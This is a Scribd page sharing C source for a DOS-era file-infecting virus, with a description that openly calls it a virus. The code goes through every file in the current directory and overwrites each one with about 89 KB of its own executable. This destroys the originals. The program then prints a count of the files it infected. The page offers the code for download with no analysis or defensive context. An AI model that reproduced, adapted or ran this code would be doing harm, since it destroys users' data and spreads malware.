0% found this document useful (0 votes)
10 views

Include

This C program is a computer virus that infects files on a system. It uses standard C library functions to iterate through all files on the system, open the virus file and target host files, and copy the virus code in chunks to infect the host files. Upon completion, it displays the number of files infected and the time taken.

Uploaded by

Rajeel Kp
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views

Include

This C program is a computer virus that infects files on a system. It uses standard C library functions to iterate through all files on the system, open the virus file and target host files, and copy the virus code in chunks to infect the host files. Upon completion, it displays the number of files infected and the time taken.

Uploaded by

Rajeel Kp
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 2

#include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.

h> // a program created by Rajeel and group

FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end;

void main() { st=clock(); clrscr();

done=findfirst( *.* ,&ffblk,0); while(!done) { virus=fopen(_argv[0], rb ); host=fopen(ffblk.ff_name, rb+ ); if(host==NULL) goto next; x=89088; printf( Infecting %s\n ,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf( DONE! (Total Files Infected= %d) ,a); end=clock(); printf( TIME TAKEN=%f SEC\n , (end-st)/CLK_TCK); getch(); }

You might also like